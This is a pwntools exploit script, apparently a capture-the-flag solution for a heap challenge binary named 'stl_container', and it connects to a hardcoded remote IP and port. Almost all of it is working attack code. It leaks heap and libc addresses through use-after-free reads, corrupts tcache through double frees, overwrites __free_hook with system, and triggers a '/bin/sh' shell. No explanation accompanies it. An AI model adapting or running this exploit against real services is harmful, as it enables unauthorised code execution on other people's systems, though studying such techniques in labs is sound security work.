1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
|
from pwn import * context(log_level="debug", arch="amd64", os="linux")
p=remote('134.175.239.26',8848) elf=ELF('./stl_container') ''' 1. list 2. vector 3. queue 4. stack ''' def add(typ,content): p.recvuntil('>> ') p.sendline(str(typ)) p.recvuntil('>> ') p.sendline('1') p.recvuntil('input data:') p.send(content) p.recvuntil('done!')
def free(typ,idx=0): p.recvuntil('>> ') p.sendline(str(typ)) p.recvuntil('>> ') p.sendline('2') if typ <=2: p.recvuntil('index?') p.sendline(str(idx)) p.recvuntil('done!') def show(typ,idx): p.recvuntil('>> ') p.sendline(str(typ)) p.recvuntil('>> ') p.sendline('3') p.recvuntil('index?') p.sendline(str(idx)) p.recvuntil('data: ')
add(1,'list0') free(1,0) add(1,'0') show(1,0) heap_base=u64(p.recv(6).ljust(8,'\x00'))-0x12430 print(hex(heap_base)) free(1,0)
add(1,'list0') add(1,'list1') add(2,'vector0') add(2,'vector1') add(3,'queue0') add(3,'queue1') add(4,'stack0') add(4,'stack1')
free(1,0) free(2,0) free(1,0) free(2,0) free(3) free(4) free(3) free(4)
add(3,'list0')
add(2,p64(heap_base+0x12870))
add(4,'aa')
add(4,'aa') add(3,'\xa0')
add(1,'\xa0') show(1,0) libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x60-0x10-0x3ebc30 print(hex(libc_base))
system=libc_base+0x4f440 free_hook=libc_base+0x3ed8e8
free(2,0) free(3) free(4) free(3) free(4)
add(4,p64(free_hook)) add(3,'/bin/sh\x00') add(3,'/bin/sh\x00') add(4,p64(system))
p.sendline('3') p.sendline('2') p.interactive()
|